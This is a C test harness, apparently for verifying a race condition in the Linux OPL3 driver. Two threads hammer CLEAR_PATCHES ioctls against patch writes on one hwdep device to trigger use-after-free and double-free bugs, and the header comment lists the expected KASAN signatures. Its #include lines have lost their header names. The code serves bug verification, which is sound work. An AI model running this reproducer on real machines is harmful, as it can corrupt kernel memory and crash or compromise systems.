// SPDX-License-Identifier: GPL-2.0 /* * opl3_test.c - userspace driver for the DRV-MR-01 (opl3 patch_table * lock-free race) verification harness (kmod/sdrv/opl3race.c). * * Plans: * hammer - one process, ONE hwdep fd (hw->exclusive=1 only * limits open() count; threads share the single fd), * two pthreads: * A: loop ioctl(SNDRV_DM_FM_IOCTL_CLEAR_PATCHES) * B: loop write(struct sbi_patch) with cycling * prog/bank (every blob allocates a new * struct fm_patch through the real * snd_opl3_load_patch -> snd_opl3_find_patch * (create=1) path) * Audited signature (KASAN, multi_shot): * UAF READ @ snd_opl3_find_patch / clear_patches * UAF WRITE @ snd_opl3_load_patch * double-free @ snd_opl3_clear_patches * * info - open the hwdep device and print its info (sanity). */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include static const char *dev = "/dev/snd/hwC0D0"; static volatile int stop_flag; static volatile long clears, loads, wr_err, io_err; static struct sbi_patch make_blob(unsigned int i) { struct sbi_patch p; memset(&p, 0, sizeof(p)); p.prog = i & 0x7f; p.bank = (i >> 7) & 0x7f; /* hash key = (prog+bank) % 32: cycle the sum over all 32 buckets */ memcpy(p.key, FM_KEY_SBI, 4); snprintf(p.name, sizeof(p.name), "t%u", i); return p; } static void *clearer_fn(void *arg) { while (!stop_flag) { if (ioctl(*(int *)arg, SNDRV_DM_FM_IOCTL_CLEAR_PATCHES) < 0) io_err++; else clears++; } return NULL; } static void *loader_fn(void *arg) { unsigned int i = 0; while (!stop_flag) { struct sbi_patch p = make_blob(i++); ssize_t r = write(*(int *)arg, &p, sizeof(p)); if (r == (ssize_t)sizeof(p)) loads++; else wr_err++; } return NULL; } static int do_hammer(int secs) { int fd, rc; pthread_t ta, tb; time_t t0 = time(NULL); fd = open(dev, O_RDWR); if (fd < 0) { fprintf(stderr, "open %s failed: %s\n", dev, strerror(errno)); return 1; } printf("hammer: fd=%d on %s for %ds (CLEAR_PATCHES vs SBI write)\n", fd, dev, secs); pthread_create(&ta, NULL, clearer_fn, &fd); pthread_create(&tb, NULL, loader_fn, &fd); while (time(NULL) - t0 < secs) { sleep(1); printf("hammer: %lds clears=%ld loads=%ld err=%ld/%ld\n", time(NULL) - t0, clears, loads, wr_err, io_err); fflush(stdout); } stop_flag = 1; pthread_join(ta, NULL); pthread_join(tb, NULL); close(fd); FILE *f = fopen("/tmp/opl3_done", "w"); if (f) { fprintf(f, "clears=%ld loads=%ld\n", clears, loads); fclose(f); } printf("hammer done: clears=%ld loads=%ld\n", clears, loads); return 0; } static int do_info(void) { struct snd_hwdep_info info; int fd = open(dev, O_RDWR); int rc; if (fd < 0) { fprintf(stderr, "open %s failed: %s\n", dev, strerror(errno)); return 1; } memset(&info, 0, sizeof(info)); rc = ioctl(fd, SNDRV_HWDEP_IOCTL_INFO, &info); printf("info: rc=%d card=%d iface=%d name=%.32s\n", rc, info.card, info.iface, info.name); close(fd); return rc < 0; } int main(int argc, char **argv) { if (argc < 2) { fprintf(stderr, "usage: %s hammer | info\n", argv[0]); return 2; } if (!strcmp(argv[1], "hammer")) return do_hammer(argc > 2 ? atoi(argv[2]) : 30); if (!strcmp(argv[1], "info")) return do_info(); fprintf(stderr, "unknown plan %s\n", argv[1]); return 2; }